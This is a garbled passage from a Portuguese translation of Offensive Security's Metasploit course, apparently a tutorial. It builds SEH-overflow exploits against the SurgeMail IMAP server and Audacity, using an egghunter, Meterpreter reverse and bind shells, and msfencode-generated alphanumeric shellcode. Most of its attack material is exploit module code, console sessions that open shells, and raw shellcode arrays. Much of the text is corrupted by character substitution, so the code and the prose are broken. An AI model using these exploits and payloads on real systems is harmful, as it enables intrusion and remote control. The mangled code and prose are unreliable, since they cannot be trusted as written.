!sf = sea c9 s3 $e!ail EGF /ea c9in$ loaded !od3les fo #"ploits ???????? Ma!e ---5indo5s/i!ap/s3 $e!ail>list

patte n 4s3 $e!ail4666

)esc iption ----------/3 $e!ail 368k4-4 8MJ%) S8/T B3ffe

+'e flo5

!sf = 3se 5indo5s/i!ap/s3 $e!ail>list !sf e"ploitBs3 $e!ail>listH = s9o5 options Mod3le options< Ma!e ---8MJ%%J// 8MJ%./#1 10+/T 1%+1T &3 ent /ettin$ --------------test test 17261663067 143 1e23i ed -------no no 7es 7es )esc iption ----------T9e pass5o d fo t9e specified 3se na!e T9e 3se na!e to a3t9enticate as T9e ta $et add ess T9e ta $et po t

%a7load options B5indo5s/s9ell/bind>tcpH< Ma!e ---#W8T(.M& S%+1T 10+/T &3 ent /ettin$ --------------t9 ead 4444 17261663067 1e23i ed -------7es 7es no )esc iption ----------#"it tec9ni23e< se9I t9 eadI p ocess T9e local po t T9e ta $et add ess

#"ploit ta $et< 8d -0 Ma!e ---Rindo5s .ni'e sal

Algumas das op6es 4 esto configuradas a partir de nossa sesso anterior +ver E!A22A%%, E!A29%E@ e @)O%? por eAemplo,. Agora vamos verificar a verso do servidorL !sf e"ploitBs3 $e!ail>listH = c9eck EGF &onnectin$ to 8MJ% se 'e 17261663067<143666

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

EGF &onnected to ta $et 8MJ% se 'e 6 ECF T9e ta $et is '3lne able6

%im: Agora vamos eAecutar o eAploit aneAar o depurador ao processo surgemail.eAe para ver se o deslocamento para substituir %E) est corretoL
rootS+t:a[ 5,msf li ex0loit,%in$o%s,ima0,sur*email>list "AMLOAE?%in$o%s,s.ell,+in$>t 0 RHOST?1H!51)5A@5H ;MA""#E?test ;MA"&S'R?test ' 789 Starte$ +in$ .an$ler 789 Donne tin* to ;MA" ser-er 1H!51)5A@5H:1=A555 789 Donne te$ to tar*et ;MA" ser-er5 789 Aut.enti atin* as test %it. 0ass%or$ test555 789 Sen$in* 0ayloa$

O deslocamento correto, podemos agora definir um brea$point no nosso endereo de retornoL

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Agora podemos redirecionar o fluAo de eAecuo em nosso buffer eAecuo do 2O2 2O2 instru6es @E?L

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

e, finalmente, eAecute os dois saltos na pil a, (ue dentro da nossa terra nos 0O2 tren/L

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

At a5 tudo bem, tempo para receber o nosso s ell !eterpreter, vamos eAecutar novamente a eAplorar, sem o depuradorL
MSF e7p&orar ?sur'e)ai&@&istAB set PACLOAD %in#o%s 8 )eterpreter 8 .in#@tcp Win#o%s PACLOAD DB )eterpreter 8 .in#@tcp 8 MSF e7p&orar ?sur'e)ai&@&istAB e7p&orar EFG 4one7*o co) ser(i#or IMAP =HIJ=KJLMJH =NL JJJ EFG Manipu&a#or (incu&ar Inicia#o EFG Li'a#o ao Tar'et ser(i#or IMAPJ EFG Autentican#o co)o teste co) o teste #e sen$a JJJ EFG En(io #e car'a EFG Trans)iss*o sta'er inter)e#iria para a 0ase #e 'ran#es #i)ensOes JJJ ?=P= .:tesA 0ase #e en(io EFG ?IKQM .:tesA EFG Antes #e #or)ir )anipu&a+*o 0ase JJJ EFG 4arre'ar DLL ?HQRHSH .:tesA JJJ EFG Up&oa# conc&u,#oJ EFG Meterpreter u)a sess*o a.erta ?=HIJ=KJLMJLN KLPLH -B =HIJ=KJLMJH NNNNA )eterpreterB e7ecutar c)#Je7e-0-c-i Processo KHI cria#asJ 4ana& cria#o u)J Microso0t Win#o%s <P E6ersion QJ=JIKMMG ?4A 4op:ri'$t =PSQ-IMM= Microso0t 4orp c TB Sur'eMai&

%ucesso: ?emos fuzzed um servidor vulnervel e construiu uma eAplorao personalizado usando ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

os recursos oferecidos por incr5vel !etasploit.

Usin' t$e E''$unter Mi7in


O miAin egg unter !%" um m/dulo maravil oso (ue pode ser de grande utilidade em eAplorar o desenvolvimento. %e voc no est familiarizado com os conceitos de egg unters, leia isto. A recente vulnerabilidade no Audacit< Audio Editor nos presenteou com a oportunidade de eAaminar essa miAin em maior profundidade. 0o pr/Aimo m/dulo, vamos eAplorar o Audacit< e criar um formato de ar(uivo !etasploit eAplorar m/dulo para ele. 0/s no incidir sobre o mtodo de eAplorao em si ou a teoria por trs disso & mas logo mergul ar no uso prtico do miAin Egg unter.

Settin' up Au#acit:
3o#nload and install t e vulnerable soft#are on <our C2 %2= boA 9ttp<//5556offensi'e-sec3 it76co!/a c9i'e/a3dacit7-5in-162666e"e 9ttp<//5556offensi'e-sec3 it76co!/a c9i'e/SJ)/%J>pl3$ins-5in0646156e"e 3o#nload and eAamine t e original 2O*, ta$en from L ttpLDDmil#.rm.comDeAploitsD`\I-

Portin' t$e Po4


8amos fazer este porta 2O* para um formato de ar(uivo !%" eAplorar m/dulo. 2odemos usar um m/dulo eAistente para obter um modelo geral. A eAploram zinfaudiopla<er==T[pls.rb nos fornece um bom comeo. 0osso es(ueleto eAplorar deve ser semel ante a este. Observe o nosso buffer (ue est sendo gerado a(uiL
$ef ex0loit +uff ? Rex::Text50attern> reate(!@@@) 0rint>status("Dreatin* 'TW$atastore7'L;L'<AM''9\' file 555") file> reate(+uff) en$

9samos @eAL ?eAt.pattern[create +=..., para criar uma se(Sncia 'nica de =... b<tes, a fim de ser capaz de monitorar locais de buffer no depurador. 9ma vez (ue temos o 2O* portados, n/s geramos a eAplorao de ar(uivos e transferi&lo para a nossa caiAa de Bindo#s. 9se o genrico cargas D debug[trap para comear.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole ?7 metas0loit -A5A3testin* 7 ore:A5A a0i:15@9 Q 33 33?7 A44 ex0loits 3 !=) 0ayloa$s Q 33 33?7 !1 en o$ers 3 6 no0s ?7 16! aux msf ex0loit(au$a ity) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 L;L'<AM' O&T"&T"ATH Durrent Settin* 333333333333333 e-il5*ro ,-ar,%%% Require$ 33333333 yes yes Ees ri0tion 33333333333 T.e file name5 T.e lo ation of t.e file5

"ayloa$ o0tions (*eneri ,$e+u*>tra0): <ame Durrent Settin* Require$ Ees ri0tion 3333 333333333333333 33333333 33333333333 'x0loit tar*et: ;$ <ame 33 3333 @ Au$a ity &ni-ersal 15! msf ex0loit(au$a ity) 2 ex0loit 789 789 789 msf Dreatin* 'e-il5*ro' file 555 Generate$ out0ut file ,-ar,%%%,e-il5*ro 'x0loit om0lete$B +ut no session %as reate$5 ex0loit(au$a ity) 2

*om o Audacit< aberto, aneAar um depurador a ele e importar o ar(uivo !E3E gro.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

0/s imediatamente vamos obter uma eAceo de Audacit<, e o depurador faz uma pausaL

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

9ma rpida ol ada para a cadeia %E) mostra (ue temos um manipulador de eAceo substitu5do.

0/s tomamos a eAceo +s ift X ">,, e vamos ve o seguinteL

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Fin#in' a Return A##ress


Este um estouro %E) padro. 2odemos notar alguns dos nossos a entrada do usurio um 1pop, pop, ret1 longe de n/s na pil a. 9ma coisa interessante a notar a partir da imagem acima o fato de (ue n/s enviamos uma carga de =.... b<tes & no entanto, parece (ue (uando n/s retornamos para a nossa reserva, ele fica truncado. ?emos cerca de ]. b<tes de espao para o nosso s ellcode +marcado em azul,. 0/s usamos a imunidade: %A"E%E) funo para localizar desprotegido dll a partir do (ual um endereo de retorno pode ser encontrado.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

8amos copiar a 3GG e ir em busca de uma combinao de instruo 2O2 2O2 @E? usando msfpescan. oot;bt4</pentest/e"ploits/f a!e5o k3P 6/!sfpescan -p libfft53f36dll Elibfft53f-36dllF 0"637410a9 pop esiU 0"63741383 pop ediU 0"6374144c pop ediU 0"637414d3 pop ediU pop pop pop pop ebpU ebpU ebpU ebpU etn 0"000c et et et

Po4 to E7p&oit
*omo n/s usamos a funo pattern[create para criar o nosso buffer inicial, podemos calcular o lent buffer necessrio para substituir o nosso manipulador de eAceo. oot;bt4</pentest/e"ploits/f a!e5o k3/toolsP 6/patte n>offset6 b 67413966 178 oot;bt4</pentest/e"ploits/f a!e5o k3/toolsP

0/s modificamos a nossa eAplorao em conformidade com a introduo de um endereo de ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

retorno vlido.

E 4J3dacit7 .ni'e sal 162 4I @ 41et4 ?= 0"637410J9L FI Em seguida, a4uste o buffer para redirecionar o fluAo de eAecuo, no momento do acidente para o nosso endereo de retorno, o salto sobre ele +CEP um salto 1s ort1, e, em seguida, a terra na reserva de brea$point +Ccc,.
def e"ploit b3ff ? ,X"41, G 174 b3ff QQ ,X"ebX"06X"41X"41, b3ff QQ Eta $et6 etF6packB4*4H b3ff QQ ,X"&&, G 2000 p int>stat3sB,& eatin$ 4P@datasto eE4(8S#MJM#4FL4 file 666,H file>c eateBb3ffH end

!ais uma vez, n/s geramos nossa eAplorao ar(uivo, conecte o Audacit< para o depurador e importar o ar(uivo malicioso. 3esta vez, a %!% deve ser sobrescrito com o nosso endereo & o (ue nos levar a um pop, pop, instruo ret set. 0/s estabelecemos um brea$point l, e mais uma vez, tomar a eAceo com s ift X "> e andar atravs de nosso ret pop pop com "].

O salto curto leva&nos ao longo de nosso endereo de retorno, em nosso buffer 1s ell1.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

!ais uma vez, temos muito pouco espao de buffer para nossa inspeo pa<load.A rpida da mem/ria revela (ue o nosso taman o do buffer completo pode ser encontrado no eap. %abendo disso, podemos utilizar o nosso espao de ]. b<tes iniciais para eAecutar um egg unter, o (ue procurar e encontrar a carga secundria.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Aplicar o egg unter !%" relativamente fcilL


$ef ex0loit .unter ? *enerate>e**.unter e** ? .unter719 +uff +uff +uff +uff +uff +uff +uff +uff ? "Ux=1" 8 1H= `` "Uxe+Ux@)Ux=1Ux=1" `` 7tar*et5ret950a 1('J') `` "Ux4@"8= `` .unter7@9 `` "UxDD" 8 !@@ `` e** Q e** `` 0ayloa$5en o$e$

0rint>status("Dreatin* 'TW$atastore7'L;L'<AM''9\' file 555") file> reate(+uff)

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

en$

A faan a final parecida com esta. *orremos o final eAplorar atravs de um depurador para se certificar (ue tudo est em ordem. 2odemos ver o egg unter foi implementada corretamente e est funcionando perfeitamente.

Oeramos a final eAplorar #eaponisedL


rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf onsole ?7 msf -A5A3$eQ 33 33?7 A4H ex0loits 3 !A4 0ayloa$s Q 33 33?7 !@ en o$ers 3 H no0s ?7 161 aux msf 2 sear . au$a ity 789 Sear .in* loa$e$ mo$ules for 0attern 'au$a ity'555 'x0loits ???????? <ame 3333 %in$o%s,fileformat,au$a ity Ees ri0tion 33333333333 Au$a ity 15!5) (GRO Lile) S'H O-erflo%5

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf 2 use %in$o%s,fileformat,au$a ity msf ex0loit(au$a ity) 2 set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,meter0reter,re-erse>t 0 msf ex0loit(au$a ity) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 L;L'<AM' O&T"&T"ATH Durrent Settin* 333333333333333 au$a>e-iL5*ro ,0entest,ex0loits,frame%or1A,$ata,ex0loits Require$ 33333333 yes yes Ees ri0tion 33333333333 T.e file name5 T.e lo ation of t.e file5

"ayloa$ o0tions (%in$o%s,meter0reter,re-erse>t 0): <ame 3333 'K;TL&<D LHOST L"ORT Durrent Settin* 333333333333333 t.rea$ 14!51)65!51( ==== Require$ 33333333 yes yes yes Ees ri0tion 33333333333 'xit te .nique: se.B t.rea$B 0ro ess T.e lo al a$$ress T.e lo al 0ort

'x0loit tar*et: ;$ 33 @ <ame 3333 Au$a ity &ni-ersal 15!

msf ex0loit(au$a ity) 2 ex0loit 789 789 789 789 789 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Dreatin* 'au$a>e-iL5*ro' file 555 Generate$ out0ut file ,0entest,ex0loits,frame%or1A,$ata,ex0loits,au$a>e-iL5*ro 'x0loit om0lete$B +ut no session %as reate$5

E obter uma s ell meterpreter:


msf ex0loit(au$a ity) 2 use multi,.an$ler msf ex0loit(.an$ler) 2 set "AMLOAE %in$o%s,meter0reter,re-erse>t 0 "AMLOAE ?2 %in$o%s,meter0reter,re-erse>t 0 msf ex0loit(.an$ler) 2 set LHOST 14!51)65!51( LHOST ?2 14!51)65!51( msf ex0loit(.an$ler) 2 ex0loit 789 789 789 789 789 Han$ler +in$in* to LHOST @5@5@5@ Starte$ re-erse .an$ler Startin* t.e 0ayloa$ .an$ler555 Sen$in* sta*e (H16AA) +ytes) Meter0reter session 1 o0ene$ (14!51)65!51(:==== 32 14!51)65!51@4:1==()

meter0reter 2

A(ui est um v5deo da imunidade passando por eAplorar o funcionamentoL ttpLDD###.<outube.comD#atc RvVGfgACfABHC! ) casos em (ue voc precisa para obter um s ellcode puro alfanumricos por causa de personagem de filtragem na aplicao eAplorado. !%" pode gerar s ellcode alfanumrico facilmente atravs msfencode. 2or eAemplo, para gerar um misto alfanumricos em mai'sculas e min'sculas s ellcode codificado, podemos usar o seguinte comandoL ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf0ayloa$ %in$o%s,s.ell,+in$>t 0 R Y 5,msfen o$e 3e x6),al0.a>mixe$ 789 x6),al0.a>mixe$ su ee$e$ %it. siIe )(4 (iteration?1) unsi*ne$ .ar +uf79 ? "Ux64Uxe!Ux$+Ux$+Ux$4UxH!Uxf=Ux(4Ux=4Ux=4Ux=4Ux=4Ux=4Ux=4Ux=4" "Ux=4Ux=4Ux=4Ux=4Ux=AUx=AUx=AUx=AUx=AUx=AUxAHUx(1Ux(aUx)aUx=1" "Ux(6Ux(@UxA@Ux=1UxA@Ux=1Ux)+Ux=1Ux=1Ux(1UxA!Ux=1Ux=!UxA!Ux=!" "Ux=!UxA@Ux=!Ux=!Ux=1Ux=!Ux(6Ux(@UxA6Ux=1Ux=!UxH(Ux=aUx=4Ux=+" "Ux= Ux=$UxA6Ux= Ux=4Ux=(Ux(@Ux=(Ux(@Ux=(Ux(@Ux=AUx(@Ux=$Ux(4" "Ux=$UxA(Ux(@UxA1Ux=4Ux=!Ux=!Ux==Ux= Ux=+Ux(@Ux(!Ux(@UxA@Ux= " "Ux=+Ux(1Ux=!Ux==Ux= Ux= Ux=+Ux(1Ux=!Ux=(Ux==Ux= Ux=+Ux==UxA!" "Ux(1UxA6Ux==Ux=fUx=eUx(HUx(@Ux=aUx=HUx()Ux=)Ux(1Ux=+Ux=fUx(@" "UxA1Ux=4Ux(@Ux=eUx= Ux=HUx= Ux=AUx(1Ux=AUx= Ux=(Ux(!Ux=)Ux= " "Ux=HUx(@Ux=4Ux(1Ux=6Ux=fUx==Ux=$Ux=AUxA1Ux=6Ux=HUx=+Ux(!Ux=a" "Ux(@Ux(1Ux=!Ux(@Ux(HUx= Ux=+Ux=)UxA!Ux=!UxA@Ux= Ux=+Ux=HUxA!" "Ux=HUx= Ux=(Ux(1Ux=eUxA@Ux= Ux=+Ux=HUxA@Ux==UxA6Ux=$Ux((Ux=4" "Ux(@Ux==UxA=Ux(@Ux=aUx=(Ux(1Ux=6Ux(@Ux(@Ux(@Ux= Ux=+Ux(@Ux=6" "Ux==Ux(6Ux= Ux=+Ux(1Ux=6Ux(1UxA@Ux=AUxA1Ux=eUxAAUx=+Ux(AUx=H" "Ux= Ux(1Ux(4Ux= Ux=+Ux=)Ux(=Ux= Ux=+Ux=(Ux(1Ux=eUxA)Ux(@UxA1" "Ux=+Ux=fUx=)Ux(1Ux=4Ux(@Ux=eUx= Ux=4Ux(1Ux=6Ux=fUx==Ux=$Ux=(" "Ux(1Ux=4Ux(HUx(@UxA6Ux=$UxA@Ux=!Ux((Ux= UxA=Ux=(Ux(AUx=AUx=$" "Ux= UxA6Ux=HUx=+Ux=AUx=$Ux(1UxA=Ux=AUx=(Ux=+Ux(!Ux(1Ux=6Ux= " "Ux=+Ux(1Ux=6Ux=HUx(=Ux=(Ux(1Ux=4Ux=AUx=!Ux=)Ux= Ux=+Ux==Ux= " "Ux(@Ux=+Ux= Ux=+Ux(@Ux(6Ux=(Ux= Ux=AUxA1Ux=6Ux(AUx= Ux=+Ux=A" "UxA=Ux= Ux=+Ux=AUxA1Ux=6Ux(@Ux= Ux=4Ux(@Ux==Ux(1UxA=Ux(1UxA=" "Ux(1Ux=+Ux(1Ux=+Ux=(UxA1Ux=)UxA4Ux(1Ux=aUx(@Ux(1Ux=+Ux=fUx=+" "Ux(@Ux(1Ux=6Ux(1Ux=fUx(1Ux=aUx= Ux=+Ux==Ux(!Ux=aUx=+Ux=+UxA)" "Ux(1Ux=$Ux=AUx(6Ux(@UxAAUx(@UxA!Ux=AUxA@Ux=AUxA@Ux=!Ux=6Ux=A" "Ux=HUx=AUx=AUx(@UxA!Ux(1Ux=fUx(@Ux(=Ux=AUx(6Ux(@Ux= Ux=AUx=H" "Ux(1UxA)Ux=AUxAHUx=+Ux=fUx=eUxA(Ux=eUx(6Ux=aUxA@Ux=AUxA1Ux=(" "Ux(@Ux=(Ux(@Ux(1UxA4Ux=4Ux(=Ux(@Ux(=Ux=)UxA@Ux=AUx(6Ux=)Ux=4" "Ux=+UxA@Ux=!Ux=+Ux=(Ux(@Ux=+Ux=fUx=eUxA(Ux(@Ux(@Ux(@Ux(@Ux(@" "Ux(@Ux=)UxA@Ux(1Ux(@Ux=)UxA@Ux(1Ux(@Ux=)UxA@Ux=AUx(6Ux=aUx=a" "Ux==Ux=fUx=4Ux=fUx=$UxA@Ux=+Ux=fUx=6Ux((Ux=$Ux=HUx(@UxA1Ux=4" "Ux=+Ux(1Ux=AUx=(UxA6Ux=AUxA!Ux=(Ux(@Ux==Ux(1Ux(1Ux= Ux=$Ux(4" "Ux=$UxA)Ux=!Ux=aUx==Ux(@Ux(@Ux()Ux(1Ux=HUx=!Ux=6Ux=6Ux=!Ux=4" "Ux=+Ux=)Ux(HUx=AUx(HUx=+Ux=fUx=6Ux((Ux(1Ux=AUx(@Ux(HUx=(UxA6" "Ux=6UxAHUx=+Ux(4Ux=)Ux(6Ux=+Ux=fUx=+Ux=fUx=eUxA(Ux(@Ux(AUx=)" "UxAAUx(@Ux(HUx=(UxA6Ux=AUx==Ux=aUx= Ux=HUx=+Ux=+Ux(1Ux=+Ux=f" "Ux=4Ux=(Ux(1Ux=HUx= Ux(HUx=AUx(6Ux==UxA(Ux=!Ux=eUx(@Ux=$Ux=A" "Ux(1Ux=+Ux=fUx=eUxA(Ux=!Ux=aUx=AUxA@Ux=!Ux=aUx=(Ux(=Ux(@Ux()" "Ux(1Ux=HUx=AUx(6Ux=(Ux(!Ux=6Ux(4Ux=4Ux(6Ux(1Ux=fUx=+Ux=fUx=e" "UxA(Ux= Ux=+Ux=HUx=)Ux=!Ux=aUx(1Ux(@Ux=AUx(6Ux=(Ux(@Ux=!UxA@" "Ux=AUxA@Ux=(Ux(@Ux=)UxA)Ux=AUx(aUx=(Ux(@Ux=(UxA6Ux=)UxA6Ux=4" "UxA=Ux=)UxAAUx=aUx=(Ux=+Ux=fUx=4Ux=(Ux=$Ux=AUx=)UxAAUx=!Ux=a" "Ux=(Ux(@Ux(@Ux()Ux(@Ux(AUx(@Ux(HUx=(UxA6Ux==Ux=!Ux=4Ux=4Ux=4" "Ux(6Ux(1Ux=fUx=+Ux=fUx=eUxA(Ux=AUxA1Ux=6Ux=AUx=HUx(4Ux=4Ux()" "Ux=$Ux((Ux= UxA)Ux=AUx=(Ux=aUx= Ux=4Ux(AUx==Ux=aUx=1Ux=1"V

%e voc ol ar mais profundo no s ellcode gerado, voc vai ver (ue eAistem alguns caracteres no alfanumricos (ueL
=== p int s9ellcode FFFt[F _*N888888888&&&&&&&7KYZJW%0J0JkJJK2JB2BB0BBJBW%8JB3T8DS&YTD%MDWD8D+D+D+#0SDBSK4K4SDK.-SSD&S&5&0#KT +SD%+B8SDK+-%&1 TD%8SD-)SD&1TM%18%SNMSD48%)4#R8K0T)M&181TDD)-D%TK4-W&#D.SDK+()&1TD#6SD)S%DSDK+#S#KTD)&(SSDMNBS()#S #10&%18D#4SD-3%0SD-0) SSDB%#SMMSD-0&8KMB0SM%M)MTS(0D+0*B(%/&*#8%3-BB0)7B/-BK+(4D+0%#80DTMDS-D%%D+M6K+D9M5&*MKTM#W&2K#BT# 1D+0%&W88#ND#MMK-D+M6 K&K&(3%/(3-3%/%&K&D+0%B(&WB1KS#6K&MNM1T5B0M))Y)08R(7D+8(&Y)%%KK#D+M0#8M)MM(MT8%RD+0*K&(5D+M0B0T#-9 S(KN(7D+8((0%T(4K#D+0 %T3#8T-&80(BN(7D+M6%.D+0%B(&Y#4#6#8B&BMD9M5BT(0%NK90SMNDRBT-4MNM2(K8%S3MTDMK1(MDM%B(ST3SM&T-0MDMDM DB0&BDMM/)*D+&#KTD+0* KDK-%1(1%K(1&Y#K%K%K%.(1D+0%#8MMM9)#0M(3D+8(&YD+D+(RD+0%SDK-DSS&8T#4D+0*(2D+0%&WT%MY))K+(3D+0*D+0% )TJJ

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Esto devido ao opcodes +1a A]> a Ae= a Adb a Adb a A3> a A`=1, no in5cio da carga, (ue so necessrios a fim de encontrar as cargas localizao absoluta na mem/ria e obter um s ellcode totalmente independente de posioL 9ma vez (ue o nosso endereo s ellcode obtida atravs das duas primeiras instru6es, empurrado para a pil a e armazenado no registrador E*C (ue ser ento utilizada para calcular as compensa6es relativas. 0o entanto, se formos capazes de alguma forma para obter a posio absoluta do s ellcode no nosso pr/prio e salvar o endereo em um cadastro antes de eAecutar o s ellcode, podemos usar a opo especial Puffer@egister V @EOI= durante a codificao nossa cargaL
oot;bt4</pentest/e"ploits/f a!e5o k3P 6/!sfpa7load 5indo5s/s9ell/bind>tcp 1 V 6/!sfencode B3ffe 1e$iste ?#&W -e "86/alp9a>!i"ed EGF "86/alp9a>!i"ed s3cceeded 5it9 size 651 Bite ation?1H 3nsi$ned c9a b3fEF ? ,X"49X"49X"49X"49X"49X"49X"49X"49X"49X"49X"49X"49X"49X"49X"49, ,X"49X"49X"37X"51X"5aX"6aX"41X"58X"50X"30X"41X"30X"41X"6bX"41, ,X"41X"51X"32X"41X"42X"32X"42X"42X"30X"42X"42X"41X"42X"58X"50, ,X"38X"41X"42X"75X"4aX"49X"4bX"4cX"4dX"38X"4cX"49X"43X"30X"43, ,X"30X"45X"50X"45X"30X"4cX"49X"4bX"55X"50X"31X"48X"52X"43X"54, ,X"4cX"4bX"51X"42X"50X"30X"4cX"4bX"50X"52X"44X"4cX"4cX"4bX"50, ,X"52X"45X"44X"4cX"4bX"44X"32X"46X"48X"44X"4fX"48X"37X"50X"4a, ,X"46X"46X"50X"31X"4bX"4fX"46X"51X"49X"50X"4eX"4cX"47X"4cX"43, ,X"51X"43X"4cX"45X"52X"46X"4cX"47X"50X"49X"51X"48X"4fX"44X"4d, ,X"43X"31X"49X"57X"4bX"52X"4aX"50X"51X"42X"51X"47X"4cX"4bX"51, ,X"42X"42X"30X"4cX"4bX"50X"42X"47X"4cX"43X"31X"48X"50X"4cX"4b, ,X"51X"50X"42X"58X"4bX"35X"49X"50X"43X"44X"50X"4aX"43X"31X"48, ,X"50X"50X"50X"4cX"4bX"51X"58X"45X"48X"4cX"4bX"50X"58X"47X"50, ,X"43X"31X"49X"43X"4aX"43X"47X"4cX"50X"49X"4cX"4bX"50X"34X"4c, ,X"4bX"43X"31X"4eX"36X"50X"31X"4bX"4fX"46X"51X"49X"50X"4eX"4c, ,X"49X"51X"48X"4fX"44X"4dX"45X"51X"49X"57X"47X"48X"4bX"50X"43, ,X"45X"4cX"34X"43X"33X"43X"4dX"4cX"38X"47X"4bX"43X"4dX"46X"44, ,X"42X"55X"4aX"42X"46X"38X"4cX"4bX"50X"58X"47X"54X"45X"51X"49, ,X"43X"42X"46X"4cX"4bX"44X"4cX"50X"4bX"4cX"4bX"51X"48X"45X"4c, ,X"45X"51X"4eX"33X"4cX"4bX"44X"44X"4cX"4bX"43X"31X"4eX"30X"4b, ,X"39X"51X"54X"47X"54X"47X"54X"51X"4bX"51X"4bX"45X"31X"51X"49, ,X"51X"4aX"46X"31X"4bX"4fX"4bX"50X"50X"58X"51X"4fX"50X"5aX"4c, ,X"4bX"45X"42X"4aX"4bX"4bX"36X"51X"4dX"45X"38X"47X"43X"47X"42, ,X"45X"50X"43X"30X"43X"58X"43X"47X"43X"43X"47X"42X"51X"4fX"50, ,X"54X"43X"58X"50X"4cX"44X"37X"46X"46X"45X"57X"4bX"4fX"4eX"35, ,X"48X"38X"4cX"50X"43X"31X"45X"50X"45X"50X"51X"39X"48X"44X"50, ,X"54X"46X"30X"45X"38X"46X"49X"4bX"30X"42X"4bX"45X"50X"4bX"4f, ,X"49X"45X"50X"50X"50X"50X"50X"50X"46X"30X"51X"50X"50X"50X"47, ,X"30X"46X"30X"43X"58X"4aX"4aX"44X"4fX"49X"4fX"4dX"30X"4bX"4f, ,X"4eX"35X"4aX"37X"50X"31X"49X"4bX"50X"53X"45X"38X"43X"32X"43, ,X"30X"44X"51X"51X"4cX"4dX"59X"4bX"56X"42X"4aX"42X"30X"51X"46, ,X"50X"57X"43X"58X"48X"42X"49X"4bX"50X"37X"43X"57X"4bX"4fX"49, ,X"45X"50X"53X"50X"57X"45X"38X"4eX"57X"4dX"39X"47X"48X"4bX"4f, ,X"4bX"4fX"48X"55X"51X"43X"46X"33X"46X"37X"45X"38X"42X"54X"4a, ,X"4cX"47X"4bX"4bX"51X"4bX"4fX"4eX"35X"50X"57X"4cX"57X"42X"48, ,X"42X"55X"42X"4eX"50X"4dX"45X"31X"4bX"4fX"49X"45X"42X"4aX"43, ,X"30X"42X"4aX"45X"54X"50X"56X"50X"57X"43X"58X"44X"42X"4eX"39, ,X"48X"48X"51X"4fX"4bX"4fX"4eX"35X"4cX"4bX"46X"56X"42X"4aX"47, ,X"30X"42X"48X"45X"50X"44X"50X"43X"30X"43X"30X"50X"56X"43X"5a, ,X"43X"30X"43X"58X"46X"38X"4eX"44X"50X"53X"4dX"35X"4bX"4fX"48, ,X"55X"4aX"33X"46X"33X"43X"5aX"43X"30X"50X"56X"51X"43X"51X"47, ,X"42X"48X"43X"32X"4eX"39X"48X"48X"51X"4fX"4bX"4fX"4eX"35X"43, ,X"31X"48X"43X"51X"39X"49X"56X"4cX"45X"4aX"56X"43X"45X"4aX"4c, ,X"49X"53X"45X"5aX"41X"41,U

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

3esta vez obtivemos um s ellcode puro alfanumricosL


=== p int s9ellcode 888888888888888887KYZJW%0J0JkJJK2JB2BB0BBJBW%8JB3T8DSBTTD%MM8D8D+D+D+#0SDBS()()SD%#-SSD&S&5)8&1T+S D%+#0SDK+-%#KTD%8SD-) SD#KTM(K8%M8MSS)8%&)&78K0T)M&10BTDTT-D(4-T(0B.T#SDK+-T&1TD&*SD)S%DSDK+#S#KTD#/(SSDS8BS()#S#10&%18D #4SD-3(%SD-0)SSDB%#SM MSD-0)0KM#8SM%M)MTS%%D+0*#6K&#6&W%3(1#8&-&&%2K+%TD+M0&W0DTMDS-D(0D+0*K+MNM5#6D1TM#W&2%.BT)BD+M0&WM 9&9D#MM%RD+M6K&(3(3(3 %/-3%/%&K&D+0%B(#8)KKSB(%/MNDKM#&WM))YB%8RK-D+0*BTB0%K%.D+0%B0M)MM(MDN%RD+M6K&(5D+0%&WD.-9D6KNK-D+ 0*(0K)(4K#D+M0M&&WDR) 90(BNK-D+8(K#D+M0B(&YB)#6&W&/BMMNT#&Y(0(9(80SD9DR&YKTD9TB(K8%D&MTDMK1(MDM-2(SM&SMBY(WMDMDMD&W&BDMM /B6D+)5KTD+M6KD(7KB(1 %K(1BT&1(1(1%.%KD+M0&WMM88)#0MK&D+0*BTD+D+--D+0%SD(7DSS&8TB)D+M6KBD+0%#8S0MY#TK+K&D+0*D+0%#YJJ

0este caso, n/s dissemos msfencode (ue teve o cuidado de encontrar o endereo s ellcodes absoluta e (ue o salvou na E*C registoL *omo voc pode ver na imagem anterior, E*C foi definido anteriormente, a fim de apontar para o in5cio do nosso s ellcode. 0este ponto, a nossa carga comea diretamente realin amento E*C para iniciar o s ellcode decodificao da se(uncia.

4&ient Si#e E7p&oits


faan as do lado do cliente so sempre um tema divertido e uma grande frente para os atacantes de o4e. *omo administradores de rede e desenvolvedores de soft#are fortalecer o per5metro, pentesters necessidade de encontrar uma maneira de fazer as v5timas abrem a porta para eles na rede. faan as do lado do cliente eAigir a interao do usurio, como atra5&las para clicar em um lin$, abra um documento, ou de alguma forma c egar ao seu site mal&intencionado. ) muitas maneiras diferentes de usar o !etasploit para realizar ata(ues do lado do cliente e (ue ir demonstrar alguns deles a(ui.

9inar: Pa:&oa#s
